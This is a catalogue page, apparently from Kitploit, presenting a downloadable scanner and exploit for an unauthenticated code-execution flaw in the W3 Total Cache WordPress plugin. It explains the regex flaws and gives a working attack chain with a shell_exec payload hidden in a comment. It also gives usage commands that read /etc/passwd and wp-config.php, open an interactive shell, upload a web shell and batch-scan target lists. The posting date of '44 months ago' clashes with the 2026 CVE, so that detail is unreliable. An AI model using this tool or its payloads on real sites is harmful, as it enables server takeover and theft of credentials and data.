Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-27384 — Автоматизированный сканер и эксплойт для CVE-2026-27384, неаутентифицированное RCE в W3 Total Cache через инъекцию mfunc/eval(). Возможности: автообнаружение, 48 вариантов полезной нагрузки, интерактивная оболочка и пакетное сканирование. | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-27384
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubxxconi/cve-2026-27384

CVE-2026-27384

Автоматизированный сканер и эксплойт для CVE-2026-27384, неаутентифицированное RCE в W3 Total Cache через инъекцию mfunc/eval(). Возможности: автообнаружение, 48 вариантов полезной нагрузки, интерактивная оболочка и пакетное сканирование.

Репозиторий
44 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-27384

CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE Scanner

Плагин: W3 Total Cache Слаг плагина: w3-total-cache ID CVE: CVE-2026-27384 Оценка CVSS: 9.8 (Критический) Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Тип уязвимости: Неавторизованное произвольное выполнение кода (внедрение кода через eval()) Затронутые версии: <= 2.9.1 Исправленная версия: 2.9.2 Дата публикации: 24 февраля 2026 г. Исследователь: CODE WHITE GmbH


📌 Краткое описание уязвимости

Функция Dynamic Fragment Caching плагина W3 Total Cache (система mfunc/mclude) выполняет PHP-код, встроенный в HTML-комментарии, с помощью eval(). Токен W3TC_DYNAMIC_SECURITY, предназначенный для защиты этой функции, может быть обойдён из-за комбинации нескольких ошибок в коде.

Результат: Без аутентификации, просто отправив комментарий на WordPress, можно выполнить произвольный PHP-код на сервере.


🔍 Краткая таблица уязвимости

ПолеЗначение
ID CVECVE-2026-27384
CVSS9.8 Critical
ТипВнедрение кода → RCE (CWE-94)
Затронутая версия<= 2.9.1
Исправленная версия2.9.2
АутентификацияНе требуется
Взаимодействие пользователяНе требуется
ПредусловиеW3TC_DYNAMIC_SECURITY должен содержать метасимволы regex

⚙️ Технический анализ

Функция: mfunc / mclude

Функция Dynamic Fragment Caching W3TC позволяет разработчикам встраивать PHP-код в HTML через специальные теги-комментарии:

<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

W3TC обрабатывает эти теги при обслуживании страницы из кеша: встроенный PHP выполняется через eval(), результат подставляется вместо блока комментария.


Ошибка 1 — Отсутствие preg_quote() (PgCache_ContentGrabber.php)

// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
        // preg_quote() YOK → token regex pattern gibi davranır
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

Если токен равен '.', то regex становится <!--\s*mfunc\s*.(.*)--> → любой одиночный символ подставляется вместо токена.


Ошибка 2 — Несоответствие \s* и \s+

ФункцияШаблонПоведение
_parse_dynamic() — выполняетmfunc\s*TOKENПринимает 0 пробелов ✅
strip_dynamic_fragment_tags_from_string() — очищаетmfunc\s+TOKENТребуется минимум 1 пробел ❌
Пейлоад атакующего:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      Между mfunc и токеном ПРОБЕЛА НЕТ

strip функция:   \s+ → не совпадает → пейлоад ОСТАЁТСЯ
регулярка выполнения:    \s* → совпадает  → eval() ВЫПОЛНЯЕТСЯ

Ошибка 3 — Отсутствие проверки токена (_has_dynamic())

// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

Полная цепочка атаки

W3TC_DYNAMIC_SECURITY = '.'   (метасимвол regex — любой символ)
        │
        ▼
Атакующий отправляет комментарий:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Шаблон: mfunc\s+[^\s]+  →  требуется \s+, пробела нет → ОБХОД ✅
        │
        ▼
Комментарий сохраняется в базе данных, страница кешируется
        │
        ▼
Второй HTTP-запрос → W3TC обслуживает из кеша
  _has_dynamic() → mfunc\s*.  → 'A' совпадает → возвращает true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Шаблон: mfunc\s*.  → 'A' совпадает
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓

🔴 Влияние атаки

Без аутентификации можно выполнить произвольный PHP-код на сервере с правами веб-сервера:

  • ✅ Полный захват сервера
  • ✅ Чтение/запись/удаление файлов WordPress и базы данных
  • ✅ Установка веб-шелла / бэкдора
  • ✅ Поворот во внутреннюю сеть
  • ✅ Кража учётных данных, ключей API, пользовательских данных

🚀 Установка

git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

requests
beautifulsoup4

📖 Использование

Режимы

РежимОписание
autoСканировать сайт → найти страницу комментариев → эксплуатировать (по умолчанию)
exploitПрямая эксплуатация — с URL для отправки
shellИнтерактивная оболочка
detectТолько обнаружение W3TC

Авторежим — Всё автоматически

python w3tc_rce.py https://hedef.com

Сканер выполняет:

  1. Проверяет, установлен ли W3TC
  2. Через sitemap + переходы по ссылкам находит страницы с формой комментариев
  3. Для каждой страницы пробует 48 вариантов пейлоадов
  4. В случае успеха предлагает открыть оболочку

Режим Exploit — Прямой

# команда id
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# читать /etc/passwd
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# читать wp-config.php
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# ID записи вручную
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

Режим Shell — Интерактивный

python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

При открытии оболочки автоматически выполняются whoami, hostname, pwd, uname -a:

=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Команды: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

Режим Detect — Только обнаружение

python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC установлен!
    Версия  : 2.9.1
    Кеш     : True
[!] Версия 2.9.1 УЯЗВИМА (<= 2.9.1)!

Пакетное сканирование

python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

С прокси (Burp Suite)

python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ Все параметры

Скачать инструмент